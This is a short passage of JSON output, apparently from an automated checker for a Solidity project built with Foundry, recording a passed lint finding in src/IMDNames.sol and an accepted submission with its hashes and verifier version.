src/IMDNames.sol:98: Public Function Not Used Internally","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e3d896f650fd07230cf5af1fe9c7e63f39a128ecf3d6cdff6ab1ce21fc96df77","verifiedTreeHash":"852be84eb17690e6737b123d20c9182b3a29b855","verifierVersion":"0.1.0+fb8278c5"}]}